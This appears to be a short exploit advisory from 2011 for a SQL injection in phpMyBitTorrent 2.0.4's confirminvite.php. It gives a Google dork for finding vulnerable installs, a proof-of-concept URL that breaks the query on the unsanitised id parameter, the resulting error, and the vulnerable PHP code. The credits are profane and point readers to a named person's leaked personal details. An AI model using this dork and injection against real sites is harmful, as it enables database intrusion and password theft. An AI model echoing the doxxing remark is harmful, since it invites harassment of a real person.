45 lines
No EOL
1.4 KiB
Text
45 lines
No EOL
1.4 KiB
Text
# Exploit Title: phpMyBitTorrent 2.0.4 SQL injection
|
|
# Google Dork: inurl:"user.php?op=register"
|
|
# Date: 14/FEB/2011
|
|
# Author: #forkbombers@irc.smashthestack.org
|
|
# Software Link: http://sourceforge.net/projects/phpmybittorrent/
|
|
# Version: 2.0.4
|
|
# Tested on: *nix
|
|
|
|
----------------------------------------------------------------------
|
|
[INFO]
|
|
|
|
Sadly although the Google dork returns 36,000 results for this to work the invitation
|
|
system needs to be enabled for this exploit to work. Fucking useless to me.
|
|
|
|
----------------------------------------------------------------------
|
|
[XPL]
|
|
|
|
localhost/torrents/confirminvite.php?id=1'
|
|
|
|
Error Executing SQL Query SELECT password, active FROM torrent_users WHERE id =
|
|
|
|
----------------------------------------------------------------------
|
|
[CODE]
|
|
[code]
|
|
$sql = "SELECT password, active FROM ".$db_prefix."_users WHERE id = $id";
|
|
$res = $db->sql_query($sql) or btsqlerror($sql);
|
|
$row = $db->sql_fetchrow($res);
|
|
|
|
if (!$row)
|
|
bterror(_bterrusernotexists,_btsorry);
|
|
|
|
if ($row["active"] != '0') {
|
|
OpenTable(_btsignup);
|
|
echo "<p>"._btuseralreadyactive."</p>";
|
|
CloseTable();
|
|
include('footer.php')
|
|
[/code]
|
|
|
|
----------------------------------------------------------------------
|
|
[CREDS]
|
|
|
|
Thanks to Gumbie@irc.efnet.org for letting me use his box to test :)
|
|
Fuck ak for being such a bitch (not really <3 u), btw his d0x are g00gleiz3d if you want to give him a call
|
|
|
|
---------------------------------------------------------------------- |